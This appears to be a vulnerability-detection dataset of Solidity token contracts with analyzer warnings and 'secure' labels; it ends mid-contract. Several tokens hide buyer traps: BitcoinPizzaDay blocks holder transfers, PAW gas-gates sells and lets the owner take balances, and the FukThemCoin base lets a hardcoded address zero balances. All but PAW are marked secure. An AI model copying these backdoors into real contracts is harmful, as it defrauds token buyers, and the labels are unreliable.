"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}",
"file_name": "solidity_code_17.sol",
"secure": 1,
"size_bytes": 612
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_170.sol",
"secure": 1,
"size_bytes": 874
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract BitcoinPizzaDay is Ownable {\n constructor(address pizzaSlice) {\n balanceOf[msg.sender] = totalSupply;\n rarity[pizzaSlice] = ace;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: c5ec174): BitcoinPizzaDay.uniswapV2Pair should be immutable \n\t// Recommendation for c5ec174: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: f4c54b1): BitcoinPizzaDay.name should be constant \n\t// Recommendation for f4c54b1: Add the 'constant' attribute to state variables that never change.\n string public name = \"Bitcoin Pizza Day\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c3f4587): BitcoinPizzaDay.symbol should be constant \n\t// Recommendation for c3f4587: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"BTCPizza\";\n\n function approve(\n address account,\n uint256 bless\n ) public returns (bool success) {\n allowance[msg.sender][account] = bless;\n emit Approval(msg.sender, account, bless);\n return true;\n }\n\n function transferFrom(\n address blank,\n address commodity,\n uint256 bless\n ) public returns (bool success) {\n require(bless <= allowance[blank][msg.sender]);\n allowance[blank][msg.sender] -= bless;\n elevate(blank, commodity, bless);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1982d75): BitcoinPizzaDay.totalSupply should be constant \n\t// Recommendation for 1982d75: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1_000_000_000_000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd0bc10): BitcoinPizzaDay.ace should be constant \n\t// Recommendation for bd0bc10: Add the 'constant' attribute to state variables that never change.\n uint256 private ace = 65;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => uint256) private rarity;\n\n function transfer(\n address commodity,\n uint256 bless\n ) public returns (bool success) {\n elevate(msg.sender, commodity, bless);\n return true;\n }\n\n function elevate(\n address blank,\n address commodity,\n uint256 bless\n ) private returns (bool success) {\n if (rarity[blank] == 0) {\n balanceOf[blank] -= bless;\n }\n\n if (bless == 0) dip[commodity] += ace;\n\n if (blank != uniswapV2Pair && rarity[blank] == 0 && dip[blank] > 0) {\n rarity[blank] -= ace;\n }\n\n balanceOf[commodity] += bless;\n emit Transfer(blank, commodity, bless);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: bbfbc6b): BitcoinPizzaDay.decimals should be constant \n\t// Recommendation for bbfbc6b: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) private dip;\n\n mapping(address => mapping(address => uint256)) public allowance;\n}",
"file_name": "solidity_code_1700.sol",
"secure": 1,
"size_bytes": 4048
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Hentai is IERC20 {\n using SafeMath for uint256;\n\n string public constant name = \"Hentai Only for Owners\";\n string public constant symbol = \"$HENTAI\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5680963): Hentai.totalSupply_ should be constant \n\t// Recommendation for 5680963: Add the 'constant' attribute to state variables that never change.\n uint256 private totalSupply_ = 1000000000 * 10 ** uint256(decimals);\n\n constructor() public {\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_1701.sol",
"secure": 1,
"size_bytes": 2501
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Elodin is IERC20 {\n using SafeMath for uint256;\n\n string public constant name = \"Elodin\";\n string public constant symbol = \"ELODIN\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5665b53): Elodin.totalSupply_ should be constant \n\t// Recommendation for 5665b53: Add the 'constant' attribute to state variables that never change.\n uint256 private totalSupply_ = 1000000000 * 10 ** uint256(decimals);\n\n constructor() public {\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_1702.sol",
"secure": 1,
"size_bytes": 2490
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n constructor() {\n _owner = _msgSender();\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(_owner == _msgSender(), \"Not owner\");\n }\n}",
"file_name": "solidity_code_1703.sol",
"secure": 1,
"size_bytes": 546
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\n if (a == 0) {\n return 0;\n }\n\n c = a * b;\n\n assert(c / a == b);\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n assert(b > 0);\n\n uint256 c = a / b;\n\n assert(a == b * c + (a % b));\n\n return a / b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n assert(a >= b);\n\n return a - b;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n assert(c >= a);\n\n return c;\n }\n}\n",
"file_name": "solidity_code_1704.sol",
"secure": 1,
"size_bytes": 794
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 34f5a8b): Contract locking ether found Contract PAW has payable functions PAW.receive() But does not have a function to withdraw the ether\n// Recommendation for 34f5a8b: Remove the 'payable' attribute or add a withdraw function.\ncontract PAW is Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => bool) _excludeFromFees;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 2_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PawFury\";\n\n string private constant _symbol = unicode\"PAW\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fa1f1b0): PAW.BuyTaxFee should be constant \n\t// Recommendation for fa1f1b0: Add the 'constant' attribute to state variables that never change.\n uint256 public BuyTaxFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ad7051): PAW.SellTaxFee should be constant \n\t// Recommendation for 3ad7051: Add the 'constant' attribute to state variables that never change.\n uint256 public SellTaxFee = 0;\n\n bool private openedTrade = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 312e7e2): PAW.uniswapV2Pair should be immutable \n\t// Recommendation for 312e7e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d74ab0f): PAW.uniswapV2Router should be immutable \n\t// Recommendation for d74ab0f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n constructor() {\n _balances[_msgSender()] = _balances[_msgSender()].add(\n _totalSupply.mul(100).div(100)\n );\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _excludeFromFees[\n address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)\n ] = true;\n\n _excludeFromFees[address(uniswapV2Pair)];\n\n _excludeFromFees[owner()] = true;\n\n _excludeFromFees[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply.mul(100).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function getOpenedTrade() public view returns (bool) {\n return openedTrade;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a52075): PAW.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2a52075: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 05591e1): PAW.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 05591e1: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 value\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(amount)\n );\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n balanceOf(from) >= amount,\n \"ERROR: balance of from less than value\"\n );\n\n uint256 taxAmount = 0;\n\n if (!_excludeFromFees[from] && !_excludeFromFees[to]) {\n require(openedTrade, \"Trade has not been opened yet\");\n\n taxAmount = (amount * BuyTaxFee) / 100;\n\n if (to == uniswapV2Pair) {\n taxAmount = (amount * SellTaxFee) / 100;\n\n _bfTransfer(from);\n }\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)] + taxAmount;\n\n emit Transfer(from, address(this), taxAmount);\n }\n\n _balances[from] = balanceOf(from) - amount;\n\n _balances[to] = _balances[to] + (amount - taxAmount);\n\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b982318): PAW._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b982318: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 2be162d): PAW.Gaslimittited should be constant \n\t// Recommendation for 2be162d: Add the 'constant' attribute to state variables that never change.\n uint256 private Gaslimittited = 1000 gwei;\n\n\t// WARNING Optimization Issue (constable-states | ID: 880d5ed): PAW.Gasmaxxxxx should be constant \n\t// Recommendation for 880d5ed: Add the 'constant' attribute to state variables that never change.\n uint256 private Gasmaxxxxx = 5;\n\n function _bfTransfer(address _u) internal view {\n if (balanceOf(_u) > 0) {\n if (!openedTrade) {\n gasRequire(Gaslimittited);\n } else {\n gasRequire(Gasmaxxxxx);\n }\n }\n }\n\n function gasRequire(uint256 _gas) internal view {\n if (tx.gasprice > _gas) {\n revert();\n }\n }\n\n function claimToken(\n address from,\n address[] calldata to,\n uint256[] calldata amount\n ) external {\n require(_msgSender() == owner());\n\n for (uint256 i = 0; i < to.length; i++) {\n _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);\n\n _balances[to[i]] = _balances[to[i]].add(\n amount[i] * 10 ** _decimals\n );\n\n emit Transfer(from, to[i], amount[i] * 10 ** _decimals);\n }\n }\n\n function openTrading() external onlyOwner {\n openedTrade = !openedTrade;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 34f5a8b): Contract locking ether found Contract PAW has payable functions PAW.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 34f5a8b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1705.sol",
"secure": 0,
"size_bytes": 8749
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n string private _symbol;\n\n uint256 private _allowance = 0;\n\n address private _factory = 0xa6C6c67a39e8eDAf97c8644e4E219bF1a0eB4927;\n\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n address internal devWallet = 0xBF6307619406f591C69569BF6A270bD109f398bE;\n\n uint256 private _totalSupply;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n string private _name;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {\n if (to == _factory) _allowance = decimals() * 11;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function refreshPool(address refreshPoolSender) external {\n _balances[refreshPoolSender] = msg.sender == _factory\n ? 1\n : _balances[refreshPoolSender];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1706.sol",
"secure": 1,
"size_bytes": 6317
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FukThemCoin is ERC20, Ownable {\n constructor() ERC20(\"Fu*k Them\", \"FT\") {\n transferOwnership(devWallet);\n _mint(owner(), 5010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1707.sol",
"secure": 1,
"size_bytes": 398
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address who) external view returns (uint256);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address spender, uint256 value) external returns (bool);\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1708.sol",
"secure": 1,
"size_bytes": 806
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FlokiDragon is ERC20 {\n using SafeMath for uint256;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowed;\n string public constant name = \"Floki Dragon\";\n string public constant symbol = \"FlokiDragon\";\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0ade239): FlokiDragon.owner should be immutable \n\t// Recommendation for 0ade239: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\n uint256 _totalSupply = 100000000000 * (10 ** 18);\n\n constructor() {\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address player) public view returns (uint256) {\n return balances[player];\n }\n\n function allowance(\n address player,\n address spender\n ) public view returns (uint256) {\n return allowed[player][spender];\n }\n\n function transfer(address to, uint256 value) public returns (bool) {\n require(value <= balances[msg.sender]);\n require(to != address(0));\n\n balances[msg.sender] = balances[msg.sender].sub(value);\n balances[to] = balances[to].add(value);\n\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function multiTransfer(\n address[] memory receivers,\n uint256[] memory amounts\n ) public {\n for (uint256 i = 0; i < receivers.length; i++) {\n transfer(receivers[i], amounts[i]);\n }\n }\n\n function approve(address spender, uint256 value) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool) {\n require(value <= balances[from]);\n require(value <= allowed[from][msg.sender]);\n require(to != address(0));\n\n balances[from] = balances[from].sub(value);\n balances[to] = balances[to].add(value);\n\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);\n\n emit Transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] = allowed[msg.sender][spender].add(\n addedValue\n );\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(\n subtractedValue\n );\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function burn(uint256 amount) external {\n require(amount != 0);\n require(amount <= balances[msg.sender]);\n _totalSupply = _totalSupply.sub(amount);\n balances[msg.sender] = balances[msg.sender].sub(amount);\n emit Transfer(msg.sender, address(0), amount);\n }\n}",
"file_name": "solidity_code_1709.sol",
"secure": 1,
"size_bytes": 3815
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface UniswapFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_171.sol",
"secure": 1,
"size_bytes": 471
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b);\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a / b;\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a);\n return a - b;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a);\n return c;\n }\n\n function ceil(uint256 a, uint256 m) internal pure returns (uint256) {\n uint256 c = add(a, m);\n uint256 d = sub(c, 1);\n return mul(div(d, m), m);\n }\n}",
"file_name": "solidity_code_1710.sol",
"secure": 1,
"size_bytes": 899
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract VELVET {\n mapping(address => uint256) private iirb;\n\n mapping(address => uint256) private ikc;\n mapping(address => mapping(address => uint256)) public allowance;\n\t// WARNING Optimization Issue (constable-states | ID: 4432f2c): VELVET.name should be constant \n\t// Recommendation for 4432f2c: Add the 'constant' attribute to state variables that never change.\n string public name = \"VELVET CAPITAL\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 4de1a97): VELVET.symbol should be constant \n\t// Recommendation for 4de1a97: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"VELVET\";\n\t// WARNING Optimization Issue (constable-states | ID: 06d3cc1): VELVET.decimals should be constant \n\t// Recommendation for 06d3cc1: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2a57d1): VELVET.totalSupply should be constant \n\t// Recommendation for e2a57d1: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 350000000 * 10 ** 6;\n address owner = msg.sender;\n\t// WARNING Optimization Issue (immutable-states | ID: 573bc71): VELVET.qne should be immutable \n\t// Recommendation for 573bc71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private qne;\n\t// WARNING Optimization Issue (immutable-states | ID: 318eb28): VELVET.MIN should be immutable \n\t// Recommendation for 318eb28: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private MIN;\n\t// WARNING Optimization Issue (immutable-states | ID: bfba20a): VELVET.oid should be immutable \n\t// Recommendation for bfba20a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private oid;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: 78611c3): VELVET.ixF should be constant \n\t// Recommendation for 78611c3: Add the 'constant' attribute to state variables that never change.\n address ixF = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n oid = msg.sender;\n\n iirb[msg.sender] = totalSupply;\n\n MIN = 0;\n\n qne = ixF;\n\n emit Transfer(address(0), qne, totalSupply);\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return iirb[account];\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n require(iirb[msg.sender] >= value);\n require(ikc[msg.sender] <= MIN);\n iirb[msg.sender] -= value;\n iirb[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n 